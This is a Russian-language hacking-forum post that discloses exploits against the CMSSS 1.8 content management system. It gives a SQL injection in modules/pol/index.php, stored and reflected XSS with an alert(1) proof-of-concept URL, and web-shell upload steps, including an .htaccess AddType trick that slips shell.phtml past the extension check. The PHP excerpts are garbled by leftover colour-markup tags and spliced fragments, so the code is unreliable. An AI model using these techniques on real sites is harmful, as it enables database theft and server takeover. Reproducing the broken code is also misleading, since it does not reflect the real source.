Показать сообщение отдельно

  #513  
Старый 09.06.2014, 18:39
YaBtr
Постоянный
Регистрация: 30.05.2012
Сообщений: 600
С нами: 7343606

Репутация: 652


По умолчанию

cms CMSSS 1.8 (с названием не заморачивались )

Официальный сайт http://cmsss.all4all.cz

Демо-версия http://cms.all4all.cz

SQL Injection

Уязвимый сценарий: modules/pol/index.php

Зависимости: mq=off

Вектор: union-query

Уязвимый код:

[PHP]
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$topic<font color="#000000"><font color="#007700">...

</
font><font color="#0000BB">$result</font><font color="#007700">=</font><font color="#0000BB">$db</font><font color="#007700">-></font><font color="#0000BB">query</font><font color="#007700">(</font><font color="#DD0000">"SELECT * FROM cmsss_poll_polls"</font><font color="#007700">);

while(</font><font color="#0000BB">$row</font><font color="#007700">=</font><font color="#0000BB">$db</font><font color="#007700">-></font><font color="#0000BB">fetch_array</font><font color="#007700">(</font><font color="#0000BB">$result</font><font color="#007700">)) {

</
font><font color="#0000BB">$row_votes</font><font color="#007700">=</font><font color="#0000BB">$db</font><font color="#007700">-></font><font color="#0000BB">fetch_row</font><font color="#007700">(</font><font color="#DD0000">"SELECT * FROM cmsss_poll_votes WHERE poll_id   = '"</font><font color="#007700">.</font><font color="#0000BB">$row</font><font color="#007700">[</font><font color="#DD0000">'id'</font><font color="#007700">] .</font><font color="#DD0000">"'"</font><font color="#007700">);

for(</font><font color="#0000BB">$x</font><font color="#007700">=</font><font color="#0000BB">0</font><font color="#007700">;</font><font color="#0000BB">$x</font><font color="#007700">alert(1)</font>, который с радостью записывается в БД:

</
font>[COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'topic'[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]$detail[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'detail'[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'name'[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]$email[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'email'[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]$kontrola[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'kontrola'[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]$datetime[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]date[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"d.m.y H:i:s"[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]//create date time

[/COLOR][COLOR="#007700"]if([/COLOR][COLOR="#0000BB"]$kontrola[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#DD0000"]"ano"[/COLOR][COLOR="#007700"]) {

[/
COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"INSERT INTO[/COLOR][COLOR="#0000BB"]$tbl_name[/COLOR][COLOR="#DD0000"](topic, detail, name, email, datetime)VALUES('[/COLOR][COLOR="#0000BB"]$topic[/COLOR][COLOR="#DD0000"]', '[/COLOR][COLOR="#0000BB"]$detail[/COLOR][COLOR="#DD0000"]', '[/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#DD0000"]', '[/COLOR][COLOR="#0000BB"]$email[/COLOR][COLOR="#DD0000"]', '[/COLOR][COLOR="#0000BB"]$datetime[/COLOR][COLOR="#DD0000"]')"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR
Соответственно, пользователь, решившый посмотреть топик, получит себе, как минимум alert.

Вы правильно заметили, что тут еще можно провести sql injection, но 2-х инъекций, описанных выше, пока достаточно.

reflected XSS

В данном движке огромное количество reflected XSS(пассивок), искать долго не нужно, например тот же параметр id из 2-ой описанной sql-инъекции.

PHP код:
[COLOR="#000000"][/COLOR]"> 
[/COLOR]
PHP код:
 
PoC:

Цитата:
Сообщение от None  
http://site.com/modules/forum/view_topic.php?id=
">alert(1)
Ну и Shell Upload

Зависимости: права администратора

1.Administration module==> Downloads==> File Create ==> Профит

Создаем файл с shell.php, вписываем мини-шелл, обращаемся, соответственно: site.com/modules/download/soubor/shell.php?=phpinfo();

2. Напрямую грузим файл через форму Upload.

Мега-функция проверяет наше расширение:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]function[/COLOR][COLOR="#0000BB"]is_script[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$filename[/COLOR][COLOR="#007700"]) {

return[/COLOR][COLOR="#0000BB"]ereg[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'\.php$|\.php3$|\.php4$|\.php5$'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$filename[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR
Обход стандартный: грузим .htaccess с нужным AddType или AddHandler, ну, а потом наш файл, например shell.phtml
 
Ответить с цитированием